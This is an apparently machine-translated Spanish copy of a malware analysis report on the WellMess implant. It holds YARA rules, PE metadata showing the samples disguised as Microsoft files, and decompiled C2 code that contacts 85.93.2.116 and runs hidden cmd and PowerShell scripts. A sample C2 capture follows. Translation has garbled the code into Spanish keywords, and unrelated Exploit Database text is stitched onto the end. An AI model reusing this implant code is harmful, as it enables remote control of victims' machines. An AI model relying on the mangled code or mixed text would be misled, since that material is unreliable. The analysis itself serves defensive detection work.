    SHA256_12 = & # 822047cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854 & # 8221
    instrumentos de cuerda:
    = & # 8220 / home / ubuntu / GoProject / src / bot / botlib / chat.go & # 8221
    $ 1 = & # 8220 / home / ubuntu / GoProject / src / bot / botlib.Post & # 8221
    $ 2 = & # 8220GoProject / src / bot / botlib.deleteFile & # 8221
    $ 3 = & # 8220ubuntu / GoProject / src / bot / botlib.generateRandomString & # 8221
    $ 4 = & # 8220GoProject / src / bot / botlib.AES_Decrypt & # 8221
    $ 5 = <53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63>
    $ 6 = <3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D>
    $ 7 = <7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D>
    $ 8 = <52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65>
    $ 9 = & # 8220get_keyRC6 & # 8221
    $ 10 = <7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25>
    $ 11 = <47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42>
    $ 12 = <53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D>
    $ 13 = <48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12>
    $ 14 = & # 8220GoProject / src / bot / botlib.wellMess & # 8221
    $ 15 = <62 6F 74 6C 69 62 2E 4A 6F ​​69 6E 44 6E 73 43 68 75 6E 6B 73>
    $ 16 = <62 6F 74 6C 69 62 2E 45 78 65 63>
    $ 17 = <62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73>
    $ 18 = <62 6F 74 6C 69 62 2E 4B 65 79>
    $ 19 = <7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F>
    $ 20 =
    $ 21 = <44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E>
    $ 22 = <6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75>
    $ 23 = <43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48>
    $ 24 = <66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F>
    $ 25 = <5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D>
    $ 26 = <66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D>
    $ 27 = <40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27>
    condición:
    (y $ 1 y $ 2 y $ 3 y $ 4) o ($ 5 y $ 6 y $ 7 y $ 8 y $ 9) o ($ 10 y $ 11) o ($ 12 y $ 13) o ($ 14) o ($ 15 y $ 16 y $ 17 y $ 18) o ( $ 19 y $ 20) o ($ 21 y $ 22 y $ 23) o ($ 24) o ($ 25 y $ 26) o ($ 27)
    >
Partidos ssdeep
Metadatos de PE
Fecha de compilación 2018-03-28 07:14:10-04:00
Importar hash f34d5f2d4577ed6d9ceec516c1f5a744
nombre de empresa Corporación Microsoft
Descripción del archivo Herramienta de línea de comandos de configuración de energía
Nombre interno powercfg.exe
Copyright legal & copie Microsoft Corporation. Reservados todos los derechos.
Nombre de archivo original powercfg.exe
nombre del producto Microsoft y reg Windows y sistema operativo reg
version del producto 6.1.7600.16385 (win7_rtm.090713-1255)
Secciones de PE
MD5 Nombre Tamaño crudo Entropía
b90f84adffd98c3c63291dc54f766f18 encabezamiento 4096 0.462120
25e1daba00e54a31c1d9bb459988f669 .texto 159744 4.056043
bb5030c93de573a2819699404e0436be .rsrc 4096 2.256683
f662c2f95c916d5bd4f0c939236a81e9 .reloc 4096 0.016408
Empaquetadores / Compiladores / Criptores
Relaciones
Descripción

Este archivo es una aplicación .NET compilada maliciosamente. Descifra y carga una biblioteca de enlaces dinámicos (DLL) incorporada & # 8220WellMess.net.extract.bin & # 8221 (47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854).

Capturas de pantalla

Figura 1 y # 8211 Captura de pantalla de la estructura del código que descifra la DLL incrustada.

47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854

Detalles
Nombre WellMess.net.extract.bin
Tamaño 45056 bytes
Tipo PE32 ejecutable (DLL) (consola) Ensamblaje Intel 80386 Mono / .Net, para MS Windows
MD5 507bb551bd7073f846760d8b357b7aa9
SHA1 23033dcad2d60574ea8a65862431f46b950e54c3
SHA256 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
SHA512 fbad8f6e4c2a49ad7e030bfc069b830027942383a5429ac129ba4880c7f90d9e1ec84186755cbb61c39b41096d7969fa5e1e7a13918d1677045fb52f0fa70c7f
ssdeep 768: vLTf79aYYuGhmohyWdDZo / G9sklJL + 9Ok / JSbrvfMAQ: / fMtYG9PB + 9OyYXHhQ
Entropía 4.625315
Antivirus
Reglas YARA
  • regla CISA_10296782_01: troyano BIENESTAR
    <
    meta:
    Autor = & # 8220Código CISA & amp; Análisis de medios & # 8221
    Fecha = & # 82202020-07-06 & # 8221
    Last_Modified = & # 822120200706_1017 & # 8243
    Actor = & # 8221n / a & # 8221
    Categoría = & # 8221Troyano & # 8221
    Familia = & # 8221WellMess & # 8221
    Descripción = & # 8220Detecta el implante WellMess y SangFor Exploit & # 8221
    MD5_1 = & # 82204d38ac3319b167f6c8acb16b70297111 & # 8221
    SHA256_1 = & # 82207c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee & # 8221
    MD5_2 = & # 8220a32e1202257a2945bf0f878c58490af8 & # 8221
    SHA256_2 = & # 8220a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 & # 8221
    MD5_3 = & # 8220861879f402fe3080ab058c0c88536be4 & # 8221
    SHA256_3 = & # 822014e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2 & # 8221
    MD5_4 = & # 82202f9f4f2a9d438cdc944f79bdf44a18f8 & # 8221
    SHA256_4 = & # 8220e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09 & # 8221
    MD5_5 = & # 8220ae7a46529a0f74fb83beeb1ab2c68c5c & # 8221
    SHA256_5 = & # 8220fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950 & # 8221
    MD5_6 = & # 8220f18ced8772e9d1a640b8b4a731dfb6e0 & # 8221
    SHA256_6 = & # 8220953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a & # 8221
    MD5_7 = & # 82203a9cdd8a5cbc3ab10ad64c4bb641b41f & # 8221
    SHA256_7 = & # 82205ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb & # 8221
    MD5_8 = & # 8220967fcf185634def5177f74b0f703bdc0 & # 8221
    SHA256_8 = & # 822058d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 & # 8221
    MD5_9 = & # 8220c5d5cb99291fa4b2a68b5ea3ff9d9f9a & # 8221
    SHA256_9 = & # 822065495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 & # 8221
    MD5_10 = & # 822001d322dcac438d2bb6bce2bae8d613cb & # 8221
    SHA256_10 = & # 82200c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494 & # 8221
    MD5_11 = & # 82208777a9796565effa01b03cf1cea9d24d & # 8221
    SHA256_11 = & # 822083014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18 & # 8221
    MD5_12 = & # 8220507bb551bd7073f846760d8b357b7aa9 & # 8221
    SHA256_12 = & # 822047cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854 & # 8221
    instrumentos de cuerda:
    = & # 8220 / home / ubuntu / GoProject / src / bot / botlib / chat.go & # 8221
    $ 1 = & # 8220 / home / ubuntu / GoProject / src / bot / botlib.Post & # 8221
    $ 2 = & # 8220GoProject / src / bot / botlib.deleteFile & # 8221
    $ 3 = & # 8220ubuntu / GoProject / src / bot / botlib.generateRandomString & # 8221
    $ 4 = & # 8220GoProject / src / bot / botlib.AES_Decrypt & # 8221
    $ 5 = <53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63>
    $ 6 = <3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D>
    $ 7 = <7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D>
    $ 8 = <52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65>
    $ 9 = & # 8220get_keyRC6 & # 8221
    $ 10 = <7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25>
    $ 11 = <47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42>
    $ 12 = <53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D>
    $ 13 = <48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12>
    $ 14 = & # 8220GoProject / src / bot / botlib.wellMess & # 8221
    $ 15 = <62 6F 74 6C 69 62 2E 4A 6F ​​69 6E 44 6E 73 43 68 75 6E 6B 73>
    $ 16 = <62 6F 74 6C 69 62 2E 45 78 65 63>
    $ 17 = <62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73>
    $ 18 = <62 6F 74 6C 69 62 2E 4B 65 79>
    $ 19 = <7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F>
    $ 20 =
    $ 21 = <44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E>
    $ 22 = <6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75>
    $ 23 = <43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48>
    $ 24 = <66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F>
    $ 25 = <5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D>
    $ 26 = <66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D>
    $ 27 = <40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27>
    condición:
    (y $ 1 y $ 2 y $ 3 y $ 4) o ($ 5 y $ 6 y $ 7 y $ 8 y $ 9) o ($ 10 y $ 11) o ($ 12 y $ 13) o ($ 14) o ($ 15 y $ 16 y $ 17 y $ 18) o ( $ 19 y $ 20) o ($ 21 y $ 22 y $ 23) o ($ 24) o ($ 25 y $ 26) o ($ 27)
    >
Partidos ssdeep
Metadatos de PE
Fecha de compilación 2018-03-27 09:22:21-04:00
Importar hash dae02f32a21e03ce65412f6e56942daa
nombre de empresa Corporación Microsoft
Descripción del archivo
Nombre interno x643.Microsoft.Dtc.PowerShell.dll
Copyright legal Copyright (c) Microsoft Corporation. Reservados todos los derechos.
Nombre de archivo original x643.Microsoft.Dtc.PowerShell.dll
nombre del producto Sistema operativo Microsoft (R) Windows (R)
version del producto 10.0.14393.0
Secciones de PE
MD5 Nombre Tamaño crudo Entropía
668481e5e1971f610581ea0b01b617b5 encabezamiento 4096 0.434226
ced7014e20c39fba49386f6aef5e1203 .texto 32768 5.701312
1d4922f19bd3e79cfdf93cd91be7af27 .rsrc 4096 1.150437
da55cd9f0f50ad5c82000ca03bfaa4be .reloc 4096 0.013127
Empaquetadores / Compiladores / Criptores
Relaciones
47cdb87c27 y # 8230 Conectado a 85.93.2.116
47cdb87c27 y # 8230 Creado por 953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
Descripción

Este archivo es una aplicación .NET compilada. Se ha identificado como una variante de la familia de malware WellMess. A continuación se muestra una función llamada & ldquoHXYGVr () & rdquo que se extrajo de esta aplicación:

& mdashBegin función extraída & mdash
vacío público HXYGVr ()
<
Variable.url = & # 8220hxxp [:] // 85.93.2.116 & # 8221
string Dirección = & # 8220 & # 8221
Variable.proxy =! String.IsNullOrEmpty (Dirección)? nuevo WebProxy (dirección): (WebProxy) nulo
Variable.serverType = & # 8220GO & # 8221
Variable.userAgent = & # 8220Mozilla / 5.0 (X11 Ubuntu Linux x86_64 rv: 21.0) Gecko / 20130331 Firefox / 21.0 & # 8221
Variable.maxPostSize = 5000000
Variable.keyRC6 = & # 8220UJqqarUGKm1kR1mQMf5K2g == & # 8221
Clave publicKey
publicKey.keySize = 2048
publicKey.publicKey = & # 8220 y ltRSAKeyValue & gt y ltModulus y gt4Dy24gTFNYA / jq6SYiAkdRvY1ieWqM9R8dwo0uL + 4GzaRObZEoUaZSHhvfeD1v762 + duL1LgAcuXJeRg4PB4cGdpZqjKtB2BKIDJv3h2GNad8OsQiNY9b7Pr1Wrm2VsuS77higj0o82IWqpr4VYLaRQB1mY463WPfMv9kuOmYTSAkvw42qo1P9ud5pPptRfVUHfn0xT4idhxfAsVvb0Dm4iJDvk2Lt4op07aIyzoMPvv4ByE68xx6LoMfvu / hDby6gnHb // 94lUGXSJbsEDL26DgYXH6zUooRAFZA1aFr / MonJaLRUuZLycXeSiAXDk3hglhNfH7s + ru7QEnAoTrRQ == & lt / módulo & gt y ltExponent y gtAQAB & lt / Exponente & gt & lt / RSAKeyValue & gt & # 8221
Intervalo.variable = 12.0
si (! this.IsInit)
<
Init init = nuevo Init (clave pública)
this.Hash = Variable.hash
this.Skey = Variable.keySymm
this.IsInit = true
this.Ua = Variable.userAgent
this.MaxPostSize = Variable.maxPostSize
this.HealthInterval = Variable.interval
>
demás
<
Variable.hash = this.Hash
Variable.keySymm = this.Skey
Variable.userAgent = this.Ua
Variable.maxPostSize = this.MaxPostSize
Variable.interval = this.HealthInterval
Diccionario & ltstring, string & gt segmentosMessage = Chat.Download (Variable.hash, & # 8220rc & # 8221, string.Empty)
if (segmentosMensaje [& # 8220head & # 8221] == & # 8220G & # 8221)
<
this.Complete = verdadero
si (! esto.Hx)
regreso
Chat.Send (Encoding.UTF8.GetBytes (& # 8220Missed me? & # 8221), Variable.keySymm, Variable.hash + & # 8220 / h & # 8221, & # 8220a & # 8221, & # 8220h & # 8221, Variable. maxPostSize)
>
else if (segmentosMessage [& # 8220head & # 8221] == & # 8220C & # 8221)
<
new Chunks (). Join ((objeto) new ChatParameters ()
<
segmentosMensaje = SegmentosMensaje
>)
this.Complete = falso
Thread.Sleep (20000)
>
else if (segmentosMessage [& # 8220service & # 8221] == & # 8220p & # 8221)
<
Init init = nuevo Init (clave pública)
this.Hash = Variable.hash
this.Skey = Variable.keySymm
this.Complete = falso
>
demás
<
new Choise (). Trabajo (segmentosMessage)
this.Complete = falso
this.Ua = Variable.userAgent
this.MaxPostSize = Variable.maxPostSize
this.HealthInterval = Variable.interval
>
>
& mdashEnd Función extraída & mdash

Esta función parece ser la exportación principal de la DLL, que inicia una sesión C2 con el servidor C2 remoto del implante en la dirección de Protocolo de Internet (IP), 85.93.2.116. Dentro de la función se encuentra una clave RSA pública utilizada por el malware para asegurar la comunicación con su servidor C2. La función también contiene una clave criptográfica RC6, que se utiliza para proteger la información de estado dentro de las sesiones C2, como un valor hash único que se genera para identificar el sistema objetivo único.

El malware acepta y ejecuta PowerShell y scripts por lotes de un operador remoto en el sistema infectado. Estos scripts ejecutables se proporcionarán dentro de una sesión C2 que está protegida con cifrado AES. Además, el proceso de transferencia de la clave AES entre el implante y el operador remoto se cifrará utilizando criptografía asimétrica RSA, lo que dificultará la detección de código ejecutable malicioso que viaja por la red. La función que proporciona la capacidad de ejecución del script se ilustra a continuación. Nota: la ejecución de un script usando este método resultará en un proceso malicioso separado:

Función de comando & mdashBegin & mdash
Comando de vacío público (mensaje de objeto)
<
ChatParameters chatParameters = Mensaje (ChatParameters)
intentar
<
string s = string.Empty
Match match = new Regex (& # 8220fileName: (? & Ltfn & gt. *?) Sargs: (? & Ltarg & gt. *) Snotwait: (? & Ltnw & gt. *) & # 8221, RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Multiline ) .Match (chatParameters.segmentsMessage [& # 8220body & # 8221])
string str1 = match.Result (& # 8220 $& # 8221) .ToString ()
secuencia de comandos = match.Result (& # 8220 $& # 8221) .ToString ()
string str2 = match.Result (& # 8220 $& # 8221) .ToString ()
Proceso proceso = nuevo proceso ()
ProcessStartInfo processStartInfo = nuevo ProcessStartInfo ()
processStartInfo.CreateNoWindow = verdadero
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden
processStartInfo.UseShellExecute = falso
processStartInfo.RedirectStandardOutput = true
processStartInfo.FileName = str1
si (str1 == & # 8220powershellScript & # 8221)
<
s = BotChat.Pshell (secuencia de comandos)
>
demás
<
if (! string.IsNullOrEmpty (secuencia de comandos))
processStartInfo.Arguments =! (str1 == & # 8220cmd.exe & # 8221)? secuencia de comandos: & # 8220 / c & # 8221 + secuencia de comandos
process.StartInfo = processStartInfo
process.Start ()
si (cadena.IsNullOrEmpty (str2))
<
s = process.StandardOutput.ReadToEnd ()
process.WaitForSalir ()
>
>
proceso.Cerrar ()
this.Reply (Encoding.UTF8.GetBytes (s), chatParameters.segmentsMessage [& # 8220head & # 8221], chatParameters.segmentsMessage [& # 8220service & # 8221])
>
atrapar (Excepción ex)
<
this.Reply (Encoding.UTF8.GetBytes (ex.Message.ToString ()), chatParameters.segmentsMessage [& # 8220head & # 8221], chatParameters.segmentsMessage [& # 8220service & # 8221])
Thread.Sleep (1000)
>
>
Función de comando & mdashEnd & mdash

El implante también puede ejecutar scripts de PowerScripts directamente desde la memoria. El malware contiene la siguiente función que proporciona esta capacidad. Nota: la ejecución de un script de PowerShell con este método no resultará en un proceso malicioso separado.

& mdashBegin función de PowerShell & mdash

cadena estática privada Pshell (secuencia de comandos de cadena)
<
cadena vacía = cadena vacía
Colección & ltPSObject & gt collection
usando (Runspace runspace = RunspaceFactory.CreateRunspace ())
<
intentar
<
espacio de ejecución.Open ()
usando (PowerShell powerShell = PowerShell.Create ())
<
powerShell.Runspace = espacio de ejecución
ScriptBlock scriptBlock = ScriptBlock.Create (script)
powerShell.AddCommand (& # 8220Invoke-Command & # 8221) .AddParameter (& # 8220ScriptBlock & # 8221, (objeto) scriptBlock)
colección = powerShell.Invoke ()
>
>
finalmente
<
RunSpace.Close ()
>
>
foreach (PSObject psObject en la colección)
vacío + = psObject.ToString ()
volver vacío
>
& mdashEnd Función PowerShell & mdash

A continuación se muestra un ejemplo de tráfico de comunicación entre este implante WellMess y su servidor C2.

& mdashComience el tráfico de red de muestra & mdash
POST / HTTP / 1.1
Usuario-Agente: Mozilla / 5.0 (X11 Ubuntu Linux x86_64 rv: 21.0) Gecko / 20130331 Firefox / 21.0
Tipo de contenido: application / x-www-form-urlencoded
Aceptar: texto / html, * / *
Aceptar-Idioma: en-US, enq = 0.8
Cookie: 4NJZrNBl = 80WOGU + 5py + Cq0GVi + JMiq6ka + x% 3aGeT +% 3a7jpfqo + q1% 3aa + 6j9Delt + yDQ + SpTmS5 + T5TpR. + DwUNdr + gjsJol3 + sLCysM + R15 2c% 2cAM. + 6eaJV + h0tJ% 2ci + sjhfQt7 + EmIF5R1hdiM = A + YDy% 2cab. + GI65 + lRmzt + EF7lLr4 + QZB + LQmBR. + F84 + tVTX0z + 6WMLc +++
Anfitrión: 85.93.2.116
Longitud del contenido: 798
Esperar: 100-continuar
Aceptar codificación: desinflar
Conexión: Keep-Alive

PXYaTG AoW 0gVV4R xKRORQU em5Jz OqxrlVM PweS oOVI30A 1oZ OgLqNp JyA1q. Dos2gp N0c3C q: d tKX IdNx. zkTbV QmOjB HXU :: fP eUN4 jBOI. RlCFb xOTaSL C0k: BKg EGVy fsoDDZ. arfb, 2fvY xYlkGpW, D6 ikXZ6. kJT 6N82Au, 2Uf t7mOYW9 DLyAy. CF60ZX TIswg X7XBA: E6Xj2a unGhGIR. fir 1rH1jkG QPEc t1I53 iED. aomEaY n84rKx ECxZ0K yeDLh4 suZyqzp. ITxjQq b58: jvm lsOT AC, o mlM1. V3oUd U6bU: y8 WzJ8t pWUN76I KxnVY3. uUTz, K jDK qba yqU 1AvBN. pVg 3Duu 34IA g9jZc pr77J. 0h8lQGU lm3ReWd F2SB 7 Sí fk1J. ndl8o tpzJ NhXH bjNO 8nm: Aqm. l0HHBo dOypefA hja IAQ, NUHFF7. yt, F: Gp OU1 S3e4GZ NU7HvZW. hAINPwR kDCE2Ev cQiiXU TXY Kpt. prnvUns el4sMa 9do tw: eisS58C. d2wKh: T0F kxk mZTI jU1. 4y: Y6l YQgZ6t 0uANCK2 UpHCRc2 cbgnSm. UFu k: cIT cBH5 Fxk 2Jk. ErKKHod 0dgeQ5e 7MV 8PH0 tsUn. dMd, glf x3Q ZpNEDt FnvMxh IM: p :. lbabsz3EA
& mdashEnd Tráfico de red de muestra & mdash

Dentro de la sección & ldquoCookie: & rdquo de los datos hay información de sesión simple, incluido un hash que es exclusivo del sistema de destino. El hash único generado por el sistema de destino se calcula calculando el hash SHA256 de varias piezas de información sobre el sistema de la víctima reunidas en una sola cadena (Figura 2). Estos datos incluyen el nombre de la computadora, el nombre de la sesión, el nombre de la computadora y el dominio del usuario.

Estos datos se cifran RC6 con una clave codificada y luego se codifican en Base64. Esta codificación Base64 luego se codifica con el siguiente algoritmo que genera datos Base64 ligeramente modificados que parecen contener espacios entre diferentes partes de los datos codificados en Base64 originales:

& mdashBegin FromBase64ToNormal Función & mdash
cadena estática pública FromBase64ToNormal (cadena base64Str)
<
int num1 = 0
int length1 = base64Str.Length
string str1 = base64Str.Replace (& # 8220 = & # 8221, & # 8221 & # 8220)
base64Str = string.Empty
cadena str2 = str1.Replace (& # 8216 + & # 8217, & # 8216, & # 8217)
string empty1 = string.Empty
string str3 = str2.Replace (& # 8216 / & # 8217, & # 8216: & # 8217)
string empty2 = string.Empty
StringBuilder stringBuilder = nuevo StringBuilder ()
int length2 = str3.TrimEnd (). Longitud
Aleatorio aleatorio = nuevo Aleatorio ()
int startIndex = 0
while (startIndex & lt length2 & # 8211 9)
<
int length3 = random.Next (3, 8)
int num2 = startIndex + length3
si (num1 & gt 5 & amp & amp num1% 5 == 0)
stringBuilder.Append (str3.Substring (startIndex, length3) + & # 8220. & # 8220)
demás
stringBuilder.Append (str3.Substring (startIndex, length3) + & # 8221 & # 8220)
startIndex = num2
++ num1
>
stringBuilder.Append (str3.Substring (startIndex))
string empty3 = string.Empty
devolver stringBuilder.ToString ()
>
& mdashEnd FromBase64ToNormal Función & mdash

La cadena recién codificada se divide en dos partes separadas. La división en la cadena ocurre en un desplazamiento aleatorio (Figura 3). Las dos nuevas partes de la cadena se anteponen con cadenas aleatorias seguidas de un carácter & ldquo = & ldquo. Ambas cadenas están codificadas en el localizador uniforme de recursos (URL).

Tras la ejecución, el malware genera una clave AES que se utilizará durante las sesiones C2. Esta clave se genera mediante la siguiente función:

& mdashBegin Función de generación de claves AES & mdash
Diccionario estático público & ltstring, byte [] & gt GenerateSymmKey ()
<
Diccionario & ltstring, byte [] & gt dictionary = nuevo Diccionario & ltstring, byte [] & gt ()
byte [] hash = SHA256.Create (). ComputeHash (Encoding.UTF8.GetBytes (Membership.GeneratePassword (16, 4)))
byte [] randomBytes = GenerateKeys.GetRandomBytes (8)
usando (RijndaelManaged rijndaelManaged = new RijndaelManaged ())
<
rijndaelManaged.KeySize = 256
rijndaelManaged.BlockSize = 128
Rfc2898DeriveBytes rfc2898DeriveBytes = nuevo Rfc2898DeriveBytes (hash, randomBytes, 1000)
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes (rijndaelManaged.KeySize / 8)
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes (rijndaelManaged.BlockSize / 8)
dictionary.Add (& # 8220Key & # 8221, rijndaelManaged.Key)
diccionario.Añadir (& # 8220IV & # 8221, rijndaelManaged.IV)
>
diccionario de retorno
>
& mdashEnd Función de generación de claves AES & mdash

El malware también contiene la siguiente clave RSA pública codificada:

& mdashBegin Pub RSA Key & mdash
Y ltRSAKeyValue & gt y ltModulus y gt4Dy24gTFNYA / jq6SYiAkdRvY1ieWqM9R8dwo0uL + 4GzaRObZEoUaZSHhvfeD1v762 + duL1LgAcuXJeRg4PB4cGdpZqjKtB2BKIDJv3h2GNad8OsQiNY9b7Pr1Wrm2VsuS77higj0o82IWqpr4VYLaRQB1mY463WPfMv9kuOmYTSAkvw42qo1P9ud5pPptRfVUHfn0xT4idhxfAsVvb0Dm4iJDvk2Lt4op07aIyzoMPvv4ByE68xx6LoMfvu / hDby6gnHb // 94lUGXSJbsEDL26DgYXH6zUooRAFZA1aFr / MonJaLRUuZLycXeSiAXDk3hglhNfH7s + ru7QEnAoTrRQ == & lt / módulo & gt y ltExponent y gtAQAB & lt / Exponente & gt & lt / RSAKeyValue & gt & # 8221
& mdashEnd Pub RSA Key & mdash

La parte encriptada de la llamada en el cuerpo principal del POST es la clave AES generada dinámicamente encriptada con la clave pública RSA codificada. La siguiente función se utiliza para realizar la conexión C2 inicial al servidor C2. El argumento de la variable & ldquoMessage & rdquo contendrá la clave AES generada dinámicamente encriptada utilizando la clave pública RSA incorporada.

& mdashInicia la función SendMessage & mdash
Public void SendMessage (string Message, string idMess, string askOrReply, string service)
<
TransportProtocol transportProtocol = new TransportProtocol ()
mensaje de cadena = transportProtocol.FullMessage (idMess, askOrReply, servicio)
string service1 = new RC6 (Convert.FromBase64String (Variable.keyRC6), Variable._serverType) .Encrypt (mensaje)
Diccionario & ltHttpStatusCode, List & ltstring & gt & gt dictionary = transportProtocol.Post (Mensaje, servicio1, verdadero)
para (int index = 0! dictionary.ContainsKey (HttpStatusCode.OK) & amp & amp index & lt 3 ++ index)
<
Thread.Sleep (nuevo Random (). Next (5, 20) * 1000)
dictionary = transportProtocol.Post (Mensaje, servicio1, verdadero)
>
>
& mdashEnd Función SendMessage & mdash

El malware contiene una función llamada & ldquoDownloadVar & rdquo que permite que el malware reciba y analice mensajes del operador remoto. Como se ilustra, el malware descifrará el cuerpo de estos mensajes utilizando la clave AES generada dinámicamente mencionada anteriormente.

& mdashIniciar la función DownloadVar & mdash
Diccionario estático privado y ltstring, string y gt DownloadVar (
cadena idMess,
cadena askOrReply,
servicio de cadena,
cliente bool)
<
List & ltstring & gt message = new Transport (). ReceiveMessage (idMess, askOrReply, service, client)
intentar
<
Diccionario & ltstring, string & gt dictionary = new ParseMessage (mensaje [0]). Parse ()
if (! dictionary.ContainsKey (& # 8220body & # 8221))
diccionario.Añadir (& # 8220body & # 8221, mensaje [1])
if (diccionario [nombre de (servicio)] == & # 8220p & # 8221 || diccionario [& # 8220head & # 8221] == & # 8220C & # 8221 || diccionario [& # 8220head & # 8221] == & # 8220G & # 8221 ||! cliente)
diccionario de retorno
if (string.IsNullOrEmpty (diccionario [& # 8220body & # 8221]))
diccionario de retorno
intentar
<
byte [] numArray = SymmCrypto.AES_Decrypt (Convert.FromBase64String (diccionario [& # 8220body & # 8221]), Variable.keySymm)
dictionary [& # 8220body & # 8221] =! dictionary [nombre de (servicio)]. StartsWith (& # 8220f & # 8221)? Message.UnPack (numArray): Message.UnPackB (numArray)
diccionario de retorno
>
captura (FormatException ex)
<
return (Diccionario & ltstring, string & gt) null
>
>
atrapar (Excepción ex)
<
return (Diccionario & ltstring, string & gt) null
>
>
& mdashFunción DownloadVar & mdash

Capturas de pantalla

Figura 2 y # 8211 Datos contenidos en el encabezado & # 8220cookie: & # 8221 del tráfico inicial al C2 remoto, cifrados con RC6.

Figura 3 y # 8211 Malware que genera un hash único para el sistema de la víctima. Este valor hash en un formato cifrado y codificado se incluirá en el encabezado & # 8220cookie: & # 8221 de las transmisiones al servidor C2.

Figura 4 y # 8211 Encabezado & # 8220cookie: & # 8221 cifrado que se formatea para la transmisión del servidor C2 remoto.


Kaspersky AntiVirus - Yoda & # 039s Protector desempaquetando la corrupción de la memoria

La base de datos de exploits es mantenida por Offensive Security, una empresa de capacitación en seguridad de la información que proporciona varias certificaciones de seguridad de la información, así como servicios de pruebas de penetración de alto nivel. Exploit Database es un proyecto sin fines de lucro que Offensive Security proporciona como servicio público.

La base de datos de exploits es un archivo compatible con CVE de exploits públicos y el software vulnerable correspondiente, desarrollado para su uso por probadores de penetración e investigadores de vulnerabilidades.Nuestro objetivo es servir la colección más completa de exploits recopilada a través de envíos directos, listas de correo y otras fuentes públicas, y presentarlas en una base de datos de fácil navegación y disponible de forma gratuita. La base de datos de exploits es un repositorio de exploits y pruebas de conceptos en lugar de avisos, lo que la convierte en un recurso valioso para quienes necesitan datos procesables de inmediato.

